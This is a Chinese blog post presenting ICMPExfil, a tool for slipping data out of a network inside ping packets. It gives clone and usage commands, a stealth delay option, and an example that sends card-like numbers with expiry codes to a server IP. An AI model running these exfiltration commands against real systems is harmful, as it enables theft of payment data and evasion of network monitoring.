ICMPExfil:一款基于ICMP的数据提取和过滤工具

ICMPExfil是一个利用ICMP协议进行数据传输和过滤的工具,适用于安全研究人员。该工具使用Python3编写,允许通过ASCII编码传递信息,支持自定义等待时间以提高隐蔽性。用户可以通过设置IP和使用verbose模式来交互式操作。示例中展示了如何通过客户端和服务器端进行数据传输。
摘要由CSDN通过智能技术生成

在这里插入图片描述

关于ICMPExfil

ICMPExfil是一款基于ICMP的数据提取和过滤工具,该工具可以帮助广大研究人员通过有效的ICMP数据包传输数据。我们可以使用客户端脚本来传递希望过滤的数据,然后再通过目标设备将数据传递到运行的服务器上。无论你是经验丰富的安全专家,还是功能强大的安全系统,都只能查看到有效的ICMP数据包,数据包的数据结构没有任何的安全问题,我们的数据也不会隐藏在ICMP数据包中,因此通过审查数据包并不能够查看到我们所要提取或过滤的数据。

工具下载

由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3环境。

接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/martinoj2009/ICMPExfil.git

工具使用

ASCII
该工具支持ASCII自负,我们可以过滤和提取任何使用ASCII自负表示的内容,例如字母和数字等。比如说,你使用了一个16位数字,那么你可以使用客户端脚本通过下列形式来将这16个数字传递给服务器:

./ping.py --ascii “4111111111111111”

发送给服务器
我们在设置服务器时,有两种选项,即–ip选项,或使用脚本中的ipToPing选项来设置默认IP。

等待时间
如果你想提升任务操作的隐蔽性,你还可以使用–wait参数来指定等待的时间。如果你有足够的耐心,你可以将这个时间设置得比较长,这样就更加难以被发现了。

Verbose模式
如果你想要查看详细的工具运行信息,可以使用–show选项。

服务器开启/关闭
我们只需要运行下列命令即可启动服务器:

sudo python3 server.py

服务器运行之后,它需要根据接收数据的来源来映射输入。

当你完成任务之后,直接按下Ctrl + C组合键即可终止工具运行。

工具使用样例

我已提前将一些16位数字存储到了一个名为file的文件中,接下来执行下列命令:

./ping.py --ip 1.2.3.4 --asciiFile file
file文件的内容如下:

4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe
编码后的数据如下:

[‘0110100’, ‘0110101’, ‘0111000’, ‘0110111’, ‘0111001’, ‘0110110’, ‘0110101’, ‘0110011’, ‘0110001’, ‘0110010’, ‘0110100’, ‘0110101’, ‘0110111’, ‘0111000’, ‘0110101’, ‘0110010’, ‘0100000’, ‘0110000’, ‘0110001’, ‘0101111’, ‘0110001’, ‘0110101’, ‘0100000’, ‘0110100’, ‘0110101’, ‘0110110’, ‘0100000’, ‘1001101’, ‘1100001’, ‘1110010’, ‘1110100’, ‘1101001’, ‘1101110’, ‘1101111’, ‘0100000’, ‘1001010’, ‘1101111’, ‘1101110’, ‘1100101’, ‘1110011’, ‘0100000’, ‘1111100’, ‘0100000’, ‘0110100’, ‘0110101’, ‘0110110’, ‘0110111’, ‘0111001’, ‘0110110’, ‘0110101’, ‘0110011’, ‘0111000’, ‘0110010’, ‘0110100’, ‘0110101’, ‘0110111’, ‘0110100’, ‘0110101’, ‘0110010’, ‘0100000’, ‘0110000’, ‘0110011’, ‘0101111’, ‘0110001’, ‘0110110’, ‘0100000’, ‘0110010’, ‘0110011’, ‘0110110’, ‘0100000’, ‘1001101’, ‘1100001’, ‘1110010’, ‘1110100’, ‘1101001’, ‘1101110’, ‘1101111’, ‘0100000’, ‘1001010’, ‘1101111’, ‘1100101’, ‘0001010’]
服务器端计算偏移量:

Calculating offsets

4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2 0 1 / 1 5 4 5 6 M a r t i n o J o n e s | 4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2 0 3 / 1 6 2 3 6 M a r t i n o J o e

工具运行截图

在这里插入图片描述


在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值